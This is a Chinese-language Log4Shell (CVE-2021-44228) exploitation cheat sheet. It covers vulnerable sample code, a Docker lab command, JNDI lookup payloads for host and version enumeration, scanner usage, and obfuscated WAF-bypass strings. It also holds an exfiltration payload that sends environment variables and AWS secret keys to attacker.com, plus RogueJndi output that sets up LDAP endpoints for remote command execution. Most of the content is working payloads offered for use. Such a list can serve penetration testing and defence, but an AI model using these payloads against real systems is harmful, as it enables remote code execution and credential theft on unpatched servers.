CVE-2021-44228 Log4Shell
配置、日志消息和参数中使用的 Apache Log4j2 (<=2.14.1) JNDI 功能无法防止攻击者控制的 LDAP 和其他 JNDI 相关端点。当启用消息查找替换 (message lookup substitution) 时,可以控制日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器加载的任意代码。
摘要 (Summary)
- 漏洞代码 (#vulnerable-code)
- Payloads (#payloads)
- 扫描 (#scanning)
- WAF 绕过 (#waf-bypass)
- 攻击利用 (#exploitation)
- 参考资料 (#references)
漏洞代码 (Vulnerable code)
您可以使用以下命令在本地复现:docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app,使用了 christophetd/log4shell-vulnerable-app 或 leonjza/log4jpwn。
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion);
return "Hello, world!";
}
Payloads
# 识别 Java 版本和主机名
${jndi:ldap://${java:version}.domain/a}
${jndi:ldap://${env:JAVA_VERSION}.domain/a}
${jndi:ldap://${sys:java.version}.domain/a}
${jndi:ldap://${sys:java.vendor}.domain/a}
${jndi:ldap://${hostName}.domain/a}
${jndi:dns://${hostName}.domain}
# 更多的枚举关键字和变量
java:os
docker:containerId
web:rootDir
bundle:config:db.password
扫描 (Scanning)
-
用法: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing] [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
WAF 绕过 (WAF Bypass)
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}
# 使用小写和大写混合
${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
# 使用环境变量构造字母
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
攻击利用 (Exploitation)
环境变量外带 (Environment variables exfiltration)
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
# AWS 访问密钥
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
远程命令执行 (Remote Command Execution)
-
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21" 映射 ldap://192.168.1.10:1389/ 到 artsploit.controllers.RemoteReference 映射 ldap://192.168.1.10:1389/o=reference 到 artsploit.controllers.RemoteReference 映射 ldap://192.168.1.10:1389/o=tomcat 到 artsploit.controllers.Tomcat 映射 ldap://192.168.1.10:1389/o=groovy 到 artsploit.controllers.Groovy 映射 ldap://192.168.1.10:1389/o=websphere1 到 artsploit.controllers.WebSphere1 映射 ldap://192.168.1.10:1389/o=websphere1,wsdl=* 到 artsploit.controllers.WebSphere1 映射 ldap://192.168.1.10:1389/o=websphere2 到 artsploit.controllers.WebSphere2 映射 ldap://192.168.1.10:1389/o=websphere2,jar=* 到 artsploit.controllers.WebSphere2